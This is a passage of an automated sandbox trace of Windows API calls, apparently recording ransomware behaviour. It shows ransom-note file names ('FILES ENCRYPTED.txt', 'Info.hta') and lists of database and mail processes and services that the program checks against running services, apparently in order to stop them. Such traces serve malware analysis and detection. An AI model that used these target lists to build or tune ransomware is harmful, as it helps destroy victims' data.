(Heap=0x790000, Flags=0x0, Ptr=0x8065e0, Size=0x40) returned 0x7e2c20 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c20, Size=0x80) returned 0x32a1478 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x100) returned 0x32a1478 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2000, Size=0x8) returned 0x32a2010 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2010, Size=0x10) returned 0x867f60 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x867f60, Size=0x20) returned 0x8065e0 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1fc0, Size=0x8) returned 0x32a2010 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1fe0, Size=0x8) returned 0x32a1fc0 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2000, Size=0x8) returned 0x32a2020 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2020, Size=0x10) returned 0x868008 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x868008, Size=0x20) returned 0x806450 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2010, Size=0x10) returned 0x868008 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1fc0, Size=0x10) returned 0x868038 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2010, Size=0x8) returned 0x32a2000 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2030, Size=0x8) returned 0x32a2040 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x868008, Size=0x20) returned 0x806590 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x868038, Size=0x20) returned 0x806518 [0034.707] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2050, Size=0x8) returned 0x32a2060 [0034.708] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3290880, Size=0x20) returned 0x806608 [0034.708] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x3291068, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0034.708] lstrlenW (lpString="C:\\") returned 3 [0034.708] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18e3a8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18e3a8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0034.708] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3291068 | out: hHeap=0x790000) returned 1 [0034.709] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2090, Size=0x82) returned 0x32910f0 [0034.709] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a20b0, Size=0x100) returned 0x3291180 [0034.709] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32910f0, Size=0x104) returned 0x32913a8 [0034.709] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3291180, Size=0x200) returned 0x32914b8 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a20a0 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32914b8 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3290928 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a1a98 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32908e0 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3291068 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3290910 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32913a8 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32908f8 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3291288 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3290940 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3291318 | out: hHeap=0x790000) returned 1 [0034.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3290958 | out: hHeap=0x790000) returned 1 [0034.710] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3290958, Size=0x20) returned 0x806630 [0034.710] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806630, Size=0x40) returned 0x7e2c20 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32908c8, Size=0x20) returned 0x806608 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806608, Size=0x40) returned 0x7e2c68 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c68, Size=0x80) returned 0x32a1478 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x100) returned 0x32a1478 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x200) returned 0x32a1980 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1980, Size=0x400) returned 0x3293070 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3293070, Size=0x800) returned 0x3293070 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3293070, Size=0x1000) returned 0x3293070 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2050, Size=0x8) returned 0x32a2070 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2070, Size=0x10) returned 0x32908f8 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32908f8, Size=0x20) returned 0x806608 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806608, Size=0x40) returned 0x7e2c68 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c68, Size=0x80) returned 0x32a1478 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x100) returned 0x32a1478 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x200) returned 0x32a1980 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1980, Size=0x400) returned 0x8888e0 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8888e0, Size=0x800) returned 0x8894e8 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3b0, Size=0x20) returned 0x806608 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806608, Size=0x40) returned 0x7e2c68 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2c68, Size=0x80) returned 0x32a1478 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a21f0, Size=0x8) returned 0x32a2200 [0034.712] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2200, Size=0x10) returned 0x88a3b0 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3b0, Size=0x20) returned 0x806658 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3e0, Size=0x20) returned 0x806680 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806680, Size=0x40) returned 0x7e2c68 [0034.713] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3e0, Size=0x20) returned 0x806680 [0034.713] lstrlenW (lpString="Info.hta") returned 8 [0034.713] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32a2f90, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ContinuumLoosely.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\continuumloosely.exe")) returned 0x3a [0034.713] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a2f90 | out: hHeap=0x790000) returned 1 [0034.713] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806658, Size=0x40) returned 0x7e2c68 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3e0, Size=0x20) returned 0x806658 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3e0, Size=0x20) returned 0x806680 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806680, Size=0x40) returned 0x7e2cb0 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2cb0, Size=0x80) returned 0x32a1478 [0034.713] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x100) returned 0x32a1478 [0034.713] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0034.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a1478 | out: hHeap=0x790000) returned 1 [0034.714] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x32a2f90, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0034.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32b2f98 | out: hHeap=0x790000) returned 1 [0034.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a2f90 | out: hHeap=0x790000) returned 1 [0034.714] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2200, Size=0x8) returned 0x32a21f0 [0034.714] lstrlenW (lpString="%windir%;") returned 9 [0034.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806658 | out: hHeap=0x790000) returned 1 [0034.714] lstrlenW (lpString="C:\\Windows;") returned 11 [0034.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x8780d8 | out: hHeap=0x790000) returned 1 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a4d0, Size=0x20) returned 0x8067c0 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x8067c0, Size=0x40) returned 0x7e2ef0 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2ef0, Size=0x80) returned 0x88fea0 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88fea0, Size=0x100) returned 0x88fea0 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2240, Size=0x8) returned 0x32a2250 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2250, Size=0x10) returned 0x88a4a0 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a4a0, Size=0x20) returned 0x8067c0 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2220, Size=0x8) returned 0x32a2250 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2200, Size=0x8) returned 0x32a2220 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2240, Size=0x8) returned 0x32a2260 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2260, Size=0x10) returned 0x3295318 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295318, Size=0x20) returned 0x806770 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2250, Size=0x10) returned 0x3295318 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2220, Size=0x10) returned 0x3295348 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2250, Size=0x8) returned 0x32a2240 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2270, Size=0x8) returned 0x32a2280 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295318, Size=0x20) returned 0x806720 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295348, Size=0x20) returned 0x8067e8 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2290, Size=0x8) returned 0x32a22a0 [0035.781] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32953c0, Size=0x20) returned 0x806810 [0035.783] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x32a2f90, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0035.783] lstrlenW (lpString="C:\\") returned 3 [0035.783] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18e3a8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18e3a8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0035.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a2f90 | out: hHeap=0x790000) returned 1 [0035.783] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a22d0, Size=0x82) returned 0x32a1980 [0035.783] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a22f0, Size=0x100) returned 0x3295ab8 [0035.783] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1980, Size=0x104) returned 0x3297aa0 [0035.783] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295ab8, Size=0x200) returned 0x3297bb0 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a22e0 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3297bb0 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3295468 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x888b80 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3295420 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x888c08 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3295450 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3297aa0 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3295438 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a1a10 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3295480 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a1aa0 | out: hHeap=0x790000) returned 1 [0035.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3295498 | out: hHeap=0x790000) returned 1 [0035.784] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3295498, Size=0x20) returned 0x806838 [0035.784] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806838, Size=0x40) returned 0x7e2ef0 [0035.785] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7b00a8*=0x2dc, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x958 Thread: id = 3 os_tid = 0x994 Thread: id = 4 os_tid = 0x998 Thread: id = 6 os_tid = 0x9d4 [0035.738] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x88a3f8 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3f8, Size=0x20) returned 0x806658 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806658, Size=0x40) returned 0x7e2cf8 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2cf8, Size=0x80) returned 0x32a1478 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a1478, Size=0x100) returned 0x32a1478 [0035.738] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x88a3f8 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a3f8, Size=0x20) returned 0x806658 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x806658, Size=0x40) returned 0x7e2cf8 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e2cf8, Size=0x80) returned 0x888af0 [0035.738] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x888af0, Size=0x100) returned 0x888af0 [0035.738] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x88a3f8 [0035.738] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x32a2200 [0035.738] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x88a410 [0035.739] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2200, Size=0x8) returned 0x32a2210 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x803e28 [0035.739] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2210, Size=0x10) returned 0x88a428 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x803e48 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x806658 [0035.739] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a428, Size=0x20) returned 0x806680 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1c) returned 0x8066a8 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x16) returned 0x803e68 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x8066d0 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x88a428 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x32a2210 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40) returned 0x7e2cf8 [0035.739] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2210, Size=0x8) returned 0x32a2200 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3c) returned 0x7e2d40 [0035.739] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x32a2200, Size=0x10) returned 0x88a440 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x803e88 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x803ea8 [0035.739] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x88a440, Size=0x20) returned 0x8066f8 [0035.739] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x7df020 [0035.739] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0035.739] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x32a1478 | out: hHeap=0x790000) returned 1 [0035.739] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0035.739] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x888af0 | out: hHeap=0x790000) returned 1 [0035.739] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x806770 [0035.747] EnumServicesStatusExW (in: hSCManager=0x806770, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0035.751] GetLastError () returned 0xea [0035.751] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x11e4) returned 0x3295aa0 [0035.751] EnumServicesStatusExW (in: hSCManager=0x806770, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3295aa0, cbBufSize=0x11e4, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3295aa0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0035.753] CloseServiceHandle (hSCObject=0x806770) returned 1 [0035.753] lstrlenW (lpString="Appinfo") returned 7 [0035.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0035.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0035.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0035.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0035.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0035.753] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0035.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0035.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0035.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0035.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0035.753] lstrlenW (lpString="AudioSrv") returned 8 [0035.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0035.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0035.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0035.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0035.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0035.753] lstrlenW (lpString="BFE") returned 3 [0035.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0035.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0035.753] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0035.753] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0035.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0035.753] lstrlenW (lpString="CryptSvc") returned 8 [0035.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0035.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0035.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0035.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0035.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0035.754] lstrlenW (lpString="CscService") returned 10 [0035.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0035.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0035.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0035.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0035.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0035.754] lstrlenW (lpString="DcomLaunch") returned 10 [0035.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0035.754] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0035.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0035.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0035.754] lstrlenW (lpString="Dhcp") returned 4 [0035.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0035.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0035.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0035.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0035.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0035.754] lstrlenW (lpString="Dnscache") returned 8 [0035.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0035.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0035.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0035.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0035.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0035.754] lstrlenW (lpString="DPS") returned 3 [0035.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0035.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0035.754] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0035.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0035.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0035.754] lstrlenW (lpString="eventlog") returned 8 [0035.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0035.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0035.755] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0035.755] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0035.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0035.755] lstrlenW (lpString="EventSystem") returned 11 [0035.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0035.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0035.755] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0035.755] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0035.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0035.755] lstrlenW (lpString="gpsvc") returned 5 [0035.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0035.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0035.755] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0035.755] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0035.755] lstrcmpiW (lpString1="sqlserveradhelper", 